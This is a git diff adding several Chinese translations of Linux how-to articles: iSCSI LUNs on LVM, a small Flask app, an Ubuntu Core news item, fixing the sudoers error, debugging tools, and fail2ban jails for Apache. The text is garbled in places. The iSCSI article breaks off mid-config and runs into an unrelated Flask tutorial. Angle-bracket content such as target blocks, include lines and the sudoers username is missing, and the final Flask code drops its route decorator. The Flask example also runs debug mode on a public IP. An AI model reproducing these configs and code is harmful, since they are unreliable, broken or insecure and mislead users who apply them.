CentOS or Fedora -Part II.md @@ -0,0 +1,233 @@ +在 iSCSI Target 服务器中使用LVM创建和设置LUN(二) +================================================================================ +LUN是逻辑单元号,它与iSCSI存储服务器共享。iSCSI 目标器通过TCP/IP网络共享它的物理驱动器给发起程序(initiator)。这些来自一个大型存储(SAN:Storage Area Network)的驱动器集合称作LUN。在真实环境中LUN是在LVM中定义的,因为它可以按需扩展。 + +![Create LUNS using LVM in Target Server](http://www.tecmint.com/wp-content/uploads/2014/07/Create-LUNS-inLVM.png) + +*在目标器中使用 LVM 创建 LUN* + +### 为什么使用LUN? ### + +LUN用于存储,SAN存储大多数由LUN的集群来组成存储池,LUN由目标器的几块物理驱动器组成。我们可以使用LUN作为系统物理驱动器来安装操作系统,LUN可以用在集群、虚拟服务器、SAN中。在虚拟服务器中使用LUN的主要用途是作为操作系统的存储。LUN的性能和可靠性根据在创建目标存储服务器时所使用的驱动器决定。 + +### 前置阅读 ### + +要了解创建iSCSI 目标器,点击下面的链接。 + +- [使用iSCSI Target创建集中式安全存储(一)][1] + +#### 主服务器设置 #### + +系统信息和网络设置部分与前文的iSCSI 目标器相同 - 我们在相同的服务器上定义LUN。 + +- 操作系统 – CentOS 6.5 (Final) +- iSCSI 目标器 IP – 192.168.0.200 +- 使用的端口 : TCP 860, 3260 +- 配置文件 : /etc/tgt/targets.conf + +### 在iSCSI 目标器使用LVM创建LUN ### + +首先,用**fdisk -l**命令找出驱动器的列表,这会列出系统中所有分区的列表。 + + # fdisk -l + +上面的命令只会给出基本系统的驱动器信息。为了得到存储设备的信息,使用下面的命令来得到存储设备的列表。 + + # fdisk -l /dev/vda && fdisk -l /dev/sda + +![List Storage Drives](http://www.tecmint.com/wp-content/uploads/2014/07/1.jpg) + +*列出存储设备* + +**注意**:这里**vda**是虚拟机硬盘,因为我使用的是虚拟机来用于演示,**/dev/sda** 是额外加入的存储。 + +### 第一步: 创建用于LUN的LVM驱动器 ### + +我们使用**/dev/sda**驱动器来创建LVM。 + + # fdisk -l /dev/sda + +![List LVM Drive](http://www.tecmint.com/wp-content/uploads/2014/07/2.jpg) + +*列出LVM驱动器* + +现在让我们使用如下fdisk命令列出驱动器分区。 + + # fdisk -cu /dev/sda + +- 选项 ‘**-c**’ 关闭DOS兼容模式。 +- 选项 ‘**-u**’ 用于列出分区表时给出扇区而不是柱面的大小。 + +使用**n**创建新的分区。 + + Command (m for help): n + +使用**p**创建主分区。 + + Command action + e extended + p primary partition (1-4) + +给我们创建的分区一个分区号。 + + Partition number (1-4): 1 + +到这里,我们就要设置LVM驱动器了。因此,我们需要使用默认的设置来使用整个驱动器。 + + First sector (2048-37748735, default 2048): + Using default value 2048 + Last sector, +sectors or +size{K,M,G} (2048-37748735, default 37748735): + Using default value 37748735 + +选择分区的类型,这里我们要设置LVM,因此使用**8e**。使用**l**列出所有的类型。 + + Command (m for help): t + +选择想要改变类型的分区。 + + Selected partition 1 + Hex code (type L to list codes): 8e + Changed system type of partition 1 to 8e (Linux LVM) + +在改变完类型之后,通过打印(**p**)选项来列出分区表。 + + Command (m for help): p + + Disk /dev/sda: 19.3 GB, 19327352832 bytes + 255 heads, 63 sectors/track, 2349 cylinders, total 37748736 sectors + Units = sectors of 1 * 512 = 512 bytes + Sector size (logical/physical): 512 bytes / 512 bytes + I/O size (minimum/optimal): 512 bytes / 512 bytes + Disk identifier: 0x9fae99c8 + + Device Boot Start End Blocks Id System + /dev/sda1 2048 37748735 18873344 8e Linux LVM + +使用**w**写入设置并退出fdisk工具,重启系统使设置生效。 + +作为参考,我下面附上了截图来给你在创建LVM驱动器时一个明确的指导。 + +![Create LVM Partition](http://www.tecmint.com/wp-content/uploads/2014/07/3.jpg) + +*创建LVM分区* + +系统重启后,使用fdisk命令列出分区表。 + + # fdisk -l /dev/sda + +![Verify LVM Partition](http://www.tecmint.com/wp-content/uploads/2014/07/4.jpg) + +*验证LVM分区* + +### 第二步: 为LUN创建逻辑卷 ### + +现在我们使用‘pvcreate’命令创建物理卷。 + + # pvcreate /dev/sda1 + +用iSCSI的名字创建卷组来区分这个卷组。 + + # vgcreate vg_iscsi /dev/sda1 + +这里我定义了4个逻辑卷,因此在我的iSCSI target上就会有4个LUN。 + + # lvcreate -L 4G -n lv_iscsi vg_iscsi + + # lvcreate -L 4G -n lv_iscsi-1 vg_iscsi + + # lvcreate -L 4G -n lv_iscsi-2 vg_iscsi + + # lvcreate -L 4G -n lv_iscsi-3 vg_iscsi + +列出物理卷、卷组和逻辑卷确定。 + + # pvs && vgs && lvs + # lvs + +为了更好地理解上面的命令,我在下面包含了截图作为参考。 + +![Creating LVM Logical Volumes](http://www.tecmint.com/wp-content/uploads/2014/07/5.jpg) + +*创建LVM逻辑卷* + +![Verify LVM Logical Volumes](http://www.tecmint.com/wp-content/uploads/2014/07/6.jpg) + +*验证LVM逻辑卷* + +### 第三步: 在目标器中定义LUN ### + +我们已经创建了逻辑卷并准备使用LUN,现在我们在目标器配置中定义LUN,只有这样做它才能用在客户机中(发起程序)。 + +用你选择的编辑器打开位于‘/etc/tgt/targets.conf’的目标器配置文件。 + + # vim /etc/tgt/targets.conf + +追加下面的target配置文件中的定义。保存并关闭文件。 + + + backing-store /dev/vg_iscsi/lv_iscsi + + + backing-store /dev/vg_iscsi/lv_iscsi-1 + + + backing-store /dev/vg_iscsi/lv_iscsi-2 + + + backing-store /dev/vg_iscsi/lv_iscsi-3 + >> exit () + +### 使用pip来安装包 ### + +Python有它自己的包管理去,与yum和apt-get相似。你将需要它来下载、安装和卸载包。 + + [leo@linux-vps] pip3.4 install "packagename" + [leo@linux-vps] pip3.4 list + [leo@linux-vps] pip3.4 uninstall "packagename" + +### Python虚拟环境 ### + +在Python中虚拟环境是一个放置你的项目的依赖环境的目录。这是一个将带有不同的依赖环境的项目隔离的好办法。它可以让你不用sudo命令就能安装包。 + + [leo@linux-vps] mkdir python3.4-flask + [leo@linux-vps] cd python3.4-flask + [leo@linux-vps python3.4-flask] pyvenv-3.4 venv + +要创建虚拟环境你需要使用“pyvenv-3.4”命令。上述命令会在venv文件夹的内部创建一个名为lib的目录,这里会安装项目所依赖的包。这里同样会创建一个bin文件夹容纳该环境下的pip和python可执行文件。 + +### 为我们的Linux系统信息项目激活虚拟环境 ### + + [leo@linux-vps python3.4-flask] source venv/bin/activate + [leo@linux-vps python3.4-flask] which pip3.4 + ~/python3.4-flask/venv/bin/pip3.4 + [leo@linux-vps python3.4-flask] which python3.4 + ~/python3.4-flask/venv/bin/python3.4 + +### 使用pip安装flask ### + +让我们继续安装第一个模块flask框架,它可以处理访问路由和渲染显示我们app的模板。 + + [leo@linux-vps python3.4-flask]pip3.4 install flask + +### 在flask中创建第一个应用 ### + +####第一步:创建你app的目录 + + [leo@linux-vps python3.4-flask] mkdir app + [leo@linux-vps python3.4-flask] mkdir app/static + [leo@linux-vps python3.4-flask] mkdir app/templates + +在python3.4-flask文件夹中创建一个名为app的文件夹,它包含了两个子文件夹“static”和“templates”。我们的Python脚本会放在app文件夹,像css/js这类文件会在static文件夹,template文件夹会包含我们的html模板。 + +####第二步:在app文件夹内部创建一个初始化文件 + + [leo@linux-vps python3.4-flask] vim app/_init_.py + from flask import Flask + + app = Flask(__name__) + from app import index + +这个文件会创建一个Flask的新的实例,并加载我们存储在index.py文件中的python程序——这个文件我们之后会创建。 + + [leo@linux-vps python3.4-flask]vim app/index.py + from app import app + + @app.route('/') + def index(): + import subprocess + cmd = subprocess.Popen(['ps_mem'],stdout=subprocess.PIPE,stderr=subprocess.PIPE) + out,error = cmd.communicate() + memory = out.splitlines() + + return + +flask中的访问路由通过“路由装饰器”处理。它用于将一个 URL 绑定到函数。 + + @app.route('/') + @app.route('/index') + +要在python中运行shell命令,你可以使用Subprocess模块中的Popen类。 + + subprocess.Popen(['ps_mem'],stdout=subprocess.PIPE,stderr=subprocess.PIPE) + +这个类会使用一个列表作为参数,列表的第一项默认是可执行的程序,下一项会是参数,这里是个另外一个例子。 + + subprocess.Popen(['ls', ‘-l’],stdout=subprocess.PIPE,stderr=subprocess.PIPE) + +stdout和stderr会相应地存储命令的输出和错误。你可以使用Popen的communicate方法来访问输出。 + + out,error = cmd.communicate() + +要更好地用html模板显示输出,我会使用splitlines()方法, + + memory = out.splitlines() + +关于subprocess模块更多的信息会在教程的最后给出。 + +####第三步:创建一个html模板来显示我们命令的输出。 + +要做到这个我们使用flask中的Jinja2模板引擎来为我们渲染。 + +最后你的index.py文件应该看起来像这样: + + from flask import render_template + from app import app + + def index(): + import subprocess + cmd = subprocess.Popen(['ps_mem'],stdout=subprocess.PIPE,stderr=subprocess.PIPE) + out,error = cmd.communicate() + memory = out.splitlines() + + return render_template('index.html', memory=memory) + +现在在你的模板目录下创建一个index.html模板,flask会自动搜索这个目录下的模板。 + + [leo@linux-vps python3.4-flask]vim app/templates/index.html + + + Memory usage per process + + {% for line in memory %} + {{ line.decode('utf-8') }} + + {% endfor %} + +Jinja2模板引擎允许你使用“{{ … }}”分隔符来输出结果,{% … %}来做循环和赋值。我使用“decode()”方法来格式化。 + +####第四步:运行app + + [leo@linux-vps python3.4-flask]vim run.py + from app import app + app.debug = True + app.run(host='174.140.165.231', port=80) + +上面的代码会在debug模式下运行app。如果你不指定 IP 地址和端口,默认则是localhost:5000。 + + [leo@linux-vps python3.4-flask] chmod +x run.py + [leo@linux-vps python3.4-flask] python3.4 run.py + +![](http://techarena51.com/wp-content/uploads/2014/12/install-python3-flask.png) + +我已经加了更多的代码来显示CPU、I/O和平均负载。 + +![](http://techarena51.com/wp-content/uploads/2014/12/install-python3-flask-on-linux.png) + +你可以在[这里][3]浏览完整的代码。 + +这是一个对flask的简短教程,我建议你阅读下面的教程和文档来更深入地了解。 + +http://flask.pocoo.org/docs/0.10/quickstart/ + +https://docs.python.org/3.4/library/subprocess.html#popen-constructor + +http://blog.miguelgrinberg.com/post/the-flask-mega-tutorial-part-i-hello-world + +-------------------------------------------------------------------------------- + +via: http://techarena51.com/index.php/how-to-install-python-3-and-flask-on-linux/ + +作者:[Leo G][a] +译者:[geekpi](https://github.com/gekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://techarena51.com/ +[1]:http://techarena51.com/index.php/linux-memory-usage/ +[2]:https://wiki.python.org/moin/Python2orPython3 +[3]:https://github.com/Leo-g/python-flask-cmd diff --git a/published/201503/20141219 Google Cloud offers streamlined Ubuntu for Docker use.md b/published/201503/20141219 Google Cloud offers streamlined Ubuntu for Docker use.md new file mode 100644 index 0000000000..c79d6de837 --- /dev/null +++ b/published/201503/20141219 Google Cloud offers streamlined Ubuntu for Docker use.md @@ -0,0 +1,37 @@ +Google云服务为Docker应用提供简化版Ubuntu +================================================================================ +> Ubuntu Core为运行容器提供了最小的轻量级Linux环境 + +Google为自己的云服务采用了一个简化版的Canonical Ubuntu Linux发行版,以优化运行Docker和其他容器。 + +Ubuntu Core被设计成仅提供在云上运行Linux所必需的组件。它发布了一个[早期预览版][1],Canonical命名其为“Snappy”。这个新版本裁减了大量在普通Linux发行版中常见而在云应用中不实用的库和应用程序。 + +Google计算引擎(GCE)和Microsoft Azure[加入了][4]支持这个新的发行版的行列。 + +从Canonical了解到,Ubuntu Core将为用户提供一个部署Docker的简单方式,一个[日益精简的虚拟容器][4]允许用户快速启动工作负载并轻松地转移,甚至可以跨越不同的云服务提供商。 + +Google是Docker和基于容器的虚拟化的热心支持者。在去年六月份,这家公司[用开源的方式发布了一个容器管理软件][5]:Kubernetes。 + +Ubuntu Core在设计上类似于另一个[发布于一年前][7]的 Linux发行版 CoreOS。CoreOS 主要由两名前Rackspace工程师开发,[CoreOS][8]是一个轻量级Linux发行版,设计运行在集群中,被那些在网页上完成他们大部分或所有业务的公司所喜好的大规模环境。CoreOS很快被许多云服务提供商采用,包括Microsoft Azure,Amazon网站服务,DigitalOcean以及Google计算引擎。 + +如同CoreOS一样,Ubuntu Core提供了一个快速引擎来更新组件,减少系统管理员去手动处理的时间。 + +-------------------------------------------------------------------------------- + +via: http://www.infoworld.com/article/2860401/cloud-computing/google-cloud-offers-streamlined-ubuntu-for-docker-use.html + +作者:[Joab Jackson][a] +译者:[zpl1025](https://github.com/zpl1025) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.infoworld.com/author/Joab-Jackson/ +[1]:http://www.ubuntu.com/cloud/tools/snappy +[2]:http://www.infoworld.com/article/2607941/linux/how-to--get-started-with-docker.html +[3]:http://www.infoworld.com/blog/infoworld-tech-watch/ +[4]:http://www.ubuntu.com/cloud/tools/snappy +[5]:http://www.itworld.com/article/2695383/open-source-tools/docker-all-geared-up-for-the-enterprise.html +[6]:http://www.itworld.com/article/2695501/cloud-computing/google-unleashes-docker-management-tools.html +[7]:http://www.itworld.com/article/2696116/open-source-tools/coreos-linux-does-away-with-the-upgrade-cycle.html +[8]:https://coreos.com/using-coreos/ diff --git a/published/201503/20141224 Linux FAQs with Answers--How to fix 'XXX is not in the sudoers file' error.md b/published/201503/20141224 Linux FAQs with Answers--How to fix 'XXX is not in the sudoers file' error.md new file mode 100644 index 0000000000..0cd74b4e3d --- /dev/null +++ b/published/201503/20141224 Linux FAQs with Answers--How to fix 'XXX is not in the sudoers file' error.md @@ -0,0 +1,60 @@ +Linux有问必答时间:怎样解决“XXX is not in the sudoers file”错误 +================================================================================ +> **问题**:我想在我的Linux系统上使用sudo来运行一些特权命令,然而当我试图这么做时,我却得到了"[我的用户名] is not in the sudoers file. This incident will be reported."的错误信息。我该怎么处理这种sudo错误呢? + +sudo是一个允许特定的用户组用另一个用户(典型的是root)的特权来运行一个命令。sudo有详细的日志功能,并且提供了对用户可通过sudo来运行哪些命令的细粒度控制。 + +### Sudo vs. Su ### + +su命令也提供了同样的特权提升功能,两者不同的是它们认证过程和特权变化的粒度。su允许你从你的登录会话切换到另一个用户的会话,然后你可以随心所欲地用该用户的特权来运行任何程序,但是你需要知道目标用户的密码才能切换这个用户。而另一方面,sudo能在单个命令的基础上工作,允许你用root的特权来运行单个命令。用sudo你不必一定要知道root的密码,但是在提示输入sudo密码的时候要输入你的密码。 + +### 在Sudoers列表里添加用户 ### + +作为一个新用户的你如果试图运行sudo命令,你会碰到以下错误。意思是你不在这个包含经过认证就可以使用sudo特权的这么一个用户组的sudoers列表里。 + + [my-user-id] is not in the sudoers file. This incident will be reported. + +有两个方法可以把你加入到sudoers列表中去。 + +### 方法一 ### + +第一个方法是把你添加到名为sudo的Linux用户组里。这个特殊的Linux用户组是预配置来使用sudo的。因此,一旦你在这个组里面,那你就可以运行sudo命令了。 + +以下命令会把你加入到Linux的sudo组里,来确保让你能作为root用户来运行命令。 + + # adduser <用户名> sudo + +现在来确认你的组员资格有没有更新,使用groups命令来看看你当前属于哪个组的列表里。这个列表必定是包含sudo组的。 + + $ groups + +---------- + + alice adm cdrom sudo dip plugdev fuse lpadmin netdev sambashare davfs2 libvirtd docker promiscuous + +组员资格变动(和sudo访问)会在你登出后重新登录后生效。 + +### 方法二 ### + +第二个能让你使用sudo的方法是直接把你自己添加到 /etc/sudoers 这个配置文件中去。 + +要修改 /etc/sudoers 文件,你可以使用一个名为visudo的特殊sudo编辑器命令。用root身份简单调用以下命令。 + + # visudo + +这条命令能打开并编辑 /etc/sudoers 文件,将以下这行文字添加至文件末尾,并按Ctrl+X。提示出现时,保存修改退出。 + + ALL=(ALL) ALL + +这个修改会立即生效,你就能马上使用sudo了。 + +![](https://farm8.staticflickr.com/7511/15866443418_e147329e1b_c.jpg) + +-------------------------------------------------------------------------------- + +via: http://ask.xmodulo.com/fix-is-not-in-the-sudoers-file.html + +译者:[ZTinoZ](https://github.com/ZTinoZ) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/201503/20141229 5 User Space Debugging Tools in Linux.md b/published/201503/20141229 5 User Space Debugging Tools in Linux.md new file mode 100644 index 0000000000..d3f572c516 --- /dev/null +++ b/published/201503/20141229 5 User Space Debugging Tools in Linux.md @@ -0,0 +1,269 @@ +五个 Linux 下用户空间的调试工具 +================================================================================ +根据定义,调试工具是那些那些使我们能够监测、控制和纠正其他程序的程序。我们为什么应该用调试工具呢? 在有些情况下,运行一些程序的时候我们会被卡住,我们需要明白究竟发生了什么。 例如,我们正在运行应用程序,它产生了一些错误消息。要修复这些错误,我们应该先找出为什么产生这些错误的消息和这些错误消息从哪里产生的。 一个应用程序可能突然挂起,我们必须了解其他什么进程同时在运行。我们可能还必须弄清楚某个进程挂起的时候在做什么。为了剖析这些细节, 我们需要调试工具的帮助。 + +有几个Linux下的用户空间调试工具和技术,它们用来分析用户空间的问题相当有用。它们是: + +- **'print' 语句** +- **查询 (/proc, /sys 等)** +- **跟踪 (strace/ltrace)** +- **Valgrind (memwatch)** +- **GDB** + +让我们一个个地了解。 + +### 1.'print' 语句 ### + +这是一个基本的原始的调试问题的方法。 我们可以在程序中插入print语句来了解控制流和变量值。 虽然这是一个简单的技术, 但它有一些缺点。 程序需要进行编辑以添加'print'语句,然后必须重新编译,重新运行来获得输出。 如果要调试的程序相当大,这是一个耗时的方法。 + +### 2. 查询 ### + +在某些情况下,我们需要弄清楚在一个运行在内核中的进程的状态和内存映射。为了获得这些信息,我们不需要在内核中插入任何代码。 相反,可以用 /proc 文件系统。 + +/proc 是一个伪文件系统,系统一启动运行就收集着运行时系统的信息 (cpu信息, 内存容量等)。 + +![output of 'ls /proc'](http://blog.linoxide.com/wp-content/uploads/2014/12/proc-output.png) + +*'ls /proc'的输出* + +正如你看到的, 系统中运行的每一个进程在/proc文件系统中有一个以进程id命名的项。每个进程的细节信息可以在进程id对应的目录下的文件中获得。 + +![output of 'ls /proc/pid'](http://blog.linoxide.com/wp-content/uploads/2014/12/proc-pid.png) + +*'ls /proc/pid'的输出* + +解释/proc文件系统内的所有条目超出了本文的范围。一些有用的列举如下: + +- /proc/cmdline -> 内核命令行 +- /proc/cpuinfo -> 关于处理器的品牌,型号信息等 +- /proc/filesystems -> 文件系统的内核支持的信息 +- /proc/\/cmdline -> 命令行参数传递到当前进程 +- /proc/\/mem -> 当前进程持有的内存 +- /proc/\/status -> 当前进程的状态 + +### 3. 跟踪 ### + +strace的和ltrace是两个在Linux中用来追踪程序的执行细节的跟踪工具。 + +#### strace: #### + +strace拦截和记录系统调用及其接收的信号。对于用户,它显示了系统调用、传递给它们的参数和返回值。strace的可以附着到已在运行的进程或一个新的进程。它作为一个针对开发者和系统管理员的诊断、调试工具是很有用的。它也可以用来当做一个通过跟踪不同的程序调用来了解系统的工具。这个工具的好处是不需要源代码,程序也不需要重新编译。 + +使用strace的基本语法是: + +**strace 命令** + +strace有各种各样的参数。可以检查看strace的手册页来获得更多的细节。 + +strace的输出非常长,我们通常不会对显示的每一行都感兴趣。我们可以用'-e expr'选项来过滤不想要的数据。 + +用 '-p pid' 选项来绑到运行中的进程. + +用'-o'选项,命令的输出可以被重定向到文件。 + +![output of strace filtering only the open system call](http://blog.linoxide.com/wp-content/uploads/2014/12/strace-output.png) + +*strace过滤成只有系统调用的输出* + +#### ltrace: #### + +ltrace跟踪和记录一个进程的动态(运行时)库的调用及其收到的信号。它也可以跟踪一个进程所作的系统调用。它的用法是类似与strace。 + +**ltrace command** + +'-i' 选项在调用库时打印指令指针。 + +'-S' 选项被用来现实系统调用和库调用 + +所有可用的选项请参阅ltrace手册。 + +![output of ltrace capturing 'strcmp' library call](http://blog.linoxide.com/wp-content/uploads/2014/12/ltrace-output.png) + +*ltrace捕捉'STRCMP'库调用的输出* + +### 4. Valgrind ### + +Valgrind是一套调试和分析工具。它的一个被广泛使用的默认工具——'Memcheck'——可以拦截malloc(),new(),free()和delete()调用。换句话说,它在检测下面这些问题非常有用: + +- 内存泄露 +- 重释放 +- 访问越界 +- 使用未初始化的内存 +- 使用已经被释放的内存等。 + +它直接通过可执行文件运行。 + +Valgrind也有一些缺点,因为它增加了内存占用,会减慢你的程序。它有时会造成误报和漏报。它不能检测出静态分配的数组的访问越界问题。 + +为了使用它,首先请[下载][1]并安装在你的系统上。可以使用操作系统上的包管理器来安装。 + +使用命令行安装需要解压缩和解包下载的文件。 + + tar -xjvf valgring-x.y.z.tar.bz2 (where x.y.z is the version number you are trying to install) + +进入新创建的目录(的valgrind-XYZ)内运行以下命令: + + ./configure + make + make install + +让我们通过一个小程序(test.c)来理解valgrind怎么工作的: + + #include + + void f(void) + + { + int x = malloc(10 * sizeof(int)); + + x[10] = 0; + } + + int main() + { + f(); + return 0; + } + +编译程序: + + gcc -o test -g test.c + +现在我们有一个可执行文件叫做'test'。我们现在可以用valgrind来检测内存错误: + + valgrind –tool=memcheck –leak-check=yes test + +这是valgrind呈现错误的输出: + +![output of valgrind showing heap block overrun and memory leak](http://blog.linoxide.com/wp-content/uploads/2014/12/Valgrind.png) + +*valgrind显示堆溢出和内存泄漏的输出* + +正如我们在上面看到的消息,我们正在试图访问函数f未分配的内存以及分配尚未释放的内存。 + +### 5. GDB ### + +GDB是来自自由软件基金会的调试器。它对定位和修复代码中的问题很有帮助。当被调试的程序运行时,它给用户控制权去执行各种动作, 比如: + +- 启动程序 +- 停在指定位置 +- 停在指定的条件 +- 检查所需信息 +- 改变程序中的数据 等。 + +你也可以将一个崩溃的程序coredump附着到GDB并分析故障的原因。 + +GDB提供很多选项来调试程序。 然而,我们将介绍一些重要的选择,来感受如何开始使用GDB。 + +如果你还没有安装GDB,可以在这里下载:[GDB官方网站][2]。 + +#### 编译程序: #### + +为了用GDB调试程序,必须使用gcc的'-g'选项进行编译。这将以操作系统的本地格式产生调试信息,GDB利用这些信息来工作。 + +下面是一个简单的程序(example1.c)执行被零除用来显示GDB的用法: + + #include + int divide() + { + int x=5, y=0; + return x / y; + } + + int main() + { + divide(); + } + +![An example showing usage of gdb](http://blog.linoxide.com/wp-content/uploads/2014/12/gdb-example.png) + +*展示GDB用法的例子* + +#### 调用 GDB: #### + +通过在命令行中执行'gdb'来启动gdb: + +![invoking gdb](http://blog.linoxide.com/wp-content/uploads/2014/12/gdb.png) + +*调用 gdb* + +调用后, 它将等待终端命令并执行,直到退出。 + +如果一个进程已经在运行,你需要将GDB连接到它上面,可以通过指定进程ID来实现。假设程序已经崩溃,要分析问题的原因,则用GDB分析core文件。 + +#### 启动程序: #### + +一旦你在GDB里面,使用'run'命令来启动程序进行调试。 + +#### 给程序传参数: #### + +使用'set args'给你的程序传参数,当程序下次运行时将获得该参数。'show args'将显示传递给程序的参数。 + +#### 检查堆栈: #### + +每当程序停止,任何人想明白的第一件事就是它为什么停止,以及怎么停在那里的。该信息被称为反向跟踪。由程序产生每个函数调用和局部变量,传递的参数,调用位置等信息一起存储在堆栈内的数据块种,被称为一帧。我们可以使用GDB来检查所有这些数据。 GDB从最底层的帧开始给这些帧编号。 + +- **bt**: 打印整个堆栈的回溯 +- **bt ** 打印n个帧的回溯 +- **frame **: 切换到指定的帧,并打印该帧 +- **up **: 上移'n'个帧 +- **down **: 下移'n'个帧 ( n默认是1) + +#### 检查数据: #### + +程序的数据可以在里面GDB使用'print'命令进行检查。例如,如果'x'是调试程序内的变量,'print x'会打印x的值。 + +#### 检查源码: #### + +源码可以在GDB中打印。默认情况下,'list'命令会打印10行代码。 + +- **list **: 列出'linenum'行周围的源码 +- **list **: 从'function'开始列出源码 +- **disas **: 显示该函数机器代码 + +#### 停止和恢复程序: #### + +使用GDB,我们可以在必要的地方设置断点,观察点等来停止程序。 + +- **break **: 在'location'设置一个断点。当在程序执行到这里时断点将被击中,控制权被交给用户。 +- **watch **: 当'expr'被程序写入而且它的值发生变化时GDB将停止 +- **catch **: 当'event'发生时GDB停止 +- **disable **: 禁用指定断点 +- **enable **: 启用指定断点 +- **delete **: 删除 断点/观察点/捕获点。 如果没有传递参数默认操作是在所有的断点 +- **step**: 一步一步执行程序 +- **continue**: 继续执行程序,直到执行完毕 + +#### 退出 GDB: #### + +用'quit'命令还从GDB中退出。 + +GDB还有更多的可用选项。里面GDB使用help选项了解更多详情。 + +![getting help within gdb](http://blog.linoxide.com/wp-content/uploads/2014/12/gdb-help.png) + +*在GDB中获得帮助* + +### 总结 ### + +在这篇文章中,我们已经看到不同类型的Linux用户空间的调试工具。总结以上所有内容,如下是什么时候使用该什么的快速指南: + +- 基本调试,获得关键变量 - print 语句 +- 获取有关文件系统支持,可用内存,CPU,运行程序的内核状态等信息 - 查询 /proc 文件系统 +- 最初的问题诊断,系统调用或库调用的相关问题,了解程序流程 – strace / ltrace +- 应用程序内存空间的问题 – valgrind +- 检查应用程序运行时的行为,分析应用程序崩溃 – gdb + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/linux-how-to/user-space-debugging-tools-linux/ + +作者:[B N Poornima][a] +译者:[mtunique](https://github.com/mtunique) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://linoxide.com/author/bnpoornima/ +[1]:http://valgrind.org/downloads.html +[2]:http://www.gnu.org/software/gdb/download/ diff --git a/published/201503/20150104 How to configure fail2ban to protect Apache HTTP server.md b/published/201503/20150104 How to configure fail2ban to protect Apache HTTP server.md new file mode 100644 index 0000000000..2d7b3efc88 --- /dev/null +++ b/published/201503/20150104 How to configure fail2ban to protect Apache HTTP server.md @@ -0,0 +1,207 @@ +如何配置 fail2ban 来保护 Apache 服务器 +================================================================================ +生产环境中的 Apache 服务器可能会受到不同的攻击。攻击者或许试图通过暴力攻击或者执行恶意脚本来获取未经授权或者禁止访问的目录。一些恶意爬虫或许会扫描你网站下的各种安全漏洞,或者通过收集email地址和web表单来发送垃圾邮件。 + +Apache服务器具有全面的日志功能,可以捕捉到各种攻击所反映的异常事件。然而,它还不能系统地解析具体的apache 日志并迅速地对潜在的攻击进行反应(比如,禁止/解禁IP地址)。这时候`fail2ban`可以解救这一切,解放了系统管理员的工作。 + +`fail2ban`是一款入侵防御工具,可以基于系统日志检测不同的工具并且可以自动采取保护措施比如:通过`iptables`禁止ip、通过 /etc/hosts.deny 阻止连接、或者通过邮件发送通知。fail2ban具有一系列预定义的“监狱”,它使用特定程序日志过滤器来检测通常的攻击。你也可以编写自定义的规则来检测来自任意程序的攻击。 + +在本教程中,我会演示如何配置fail2ban来保护你的apache服务器。我假设你已经安装了apache和fail2ban。对于安装,请参考[另外一篇教程][1]。 + +### 什么是 Fail2ban 监狱 ### + +让我们更深入地了解 fail2ban 监狱。监狱定义了具体的应用策略,它会为指定的程序触发一个保护措施。fail2ban在 /etc/fail2ban/jail.conf 下为一些流行程序如Apache、Dovecot、Lighttpd、MySQL、Postfix、[SSH][2] 等预定义了一些监狱。每个监狱都通过特定的程序日志过滤器(在/etc/fail2ban/fileter.d 下面)来检测通常的攻击。让我看一个例子监狱:SSH监狱。 + + [ssh] + enabled = true + port = ssh + filter = sshd + logpath = /var/log/auth.log + maxretry = 6 + banaction = iptables-multiport + +SSH监狱的配置定义了这些参数: + +- **[ssh]**: 方括号内是监狱的名字。 +- **enabled**:是否启用监狱 +- **port**: 端口号(或者对应的服务名称) +- **filter**: 检测攻击的日志解析规则 +- **logpath**: 所检测的日志文件 +- **maxretry**: 最大失败次数 +- **banaction**: 所进行的禁止操作 + +定义在监狱配置中的任意参数都会覆盖`fail2ban-wide` 中相应的默认配置参数。相反,任何缺少的参数都会使用定义在[DEFAULT] 字段的默认值。 + +预定义的日志过滤器都放在/etc/fail2ban/filter.d,而可以采取的禁止操作放在 /etc/fail2ban/action.d。 + +![](https://farm8.staticflickr.com/7538/16076581722_cbca3c1307_b.jpg) + +如果你想要覆盖`fail2ban`的默认操作或者定义任何自定义监狱,你可以创建*/etc/fail2ban/jail.local**文件。本篇教程中,我会使用/etc/fail2ban/jail.local。 + +### 启用预定义的apache监狱 ### + +`fail2ban`的默认安装为Apache服务提供了一些预定义监狱和过滤器。我要启用这些内建的Apache监狱。由于Debian和RedHat配置的稍微不同,我会分别提供它们的配置文件。 + +#### 在Debian 或者 Ubuntu启用Apache监狱 #### + +要在基于Debian的系统上启用预定义的apache监狱,如下创建/etc/fail2ban/jail.local。 + + $ sudo vi /etc/fail2ban/jail.local + +---------- + + # 检测密码认证失败 + [apache] + enabled = true + port = http,https + filter = apache-auth + logpath = /var/log/apache*/*error.log + maxretry = 6 + + # 检测漏洞和 PHP 脆弱性扫描 + [apache-noscript] + enabled = true + port = http,https + filter = apache-noscript + logpath = /var/log/apache*/*error.log + maxretry = 6 + + # 检测 Apache 溢出攻击 + [apache-overflows] + enabled = true + port = http,https + filter = apache-overflows + logpath = /var/log/apache*/*error.log + maxretry = 2 + + # 检测在服务器寻找主目录的尝试 + [apache-nohome] + enabled = true + port = http,https + filter = apache-nohome + logpath = /var/log/apache*/*error.log + maxretry = 2 + +由于上面的监狱没有指定措施,这些监狱都将会触发默认的措施。要查看默认的措施,在/etc/fail2ban/jail.conf中的[DEFAULT]下找到“banaction”。 + + banaction = iptables-multiport + +本例中,默认的操作是iptables-multiport(定义在/etc/fail2ban/action.d/iptables-multiport.conf)。这个措施使用iptable的多端口模块禁止一个IP地址。 + +在启用监狱后,你必须重启fail2ban来加载监狱。 + + $ sudo service fail2ban restart + +#### 在CentOS/RHEL 或者 Fedora中启用Apache监狱 #### + +要在基于红帽的系统中启用预定义的监狱,如下创建/etc/fail2ban/jail.local。 + + $ sudo vi /etc/fail2ban/jail.local + +---------- + + # 检测密码认证失败 + [apache] + enabled = true + port = 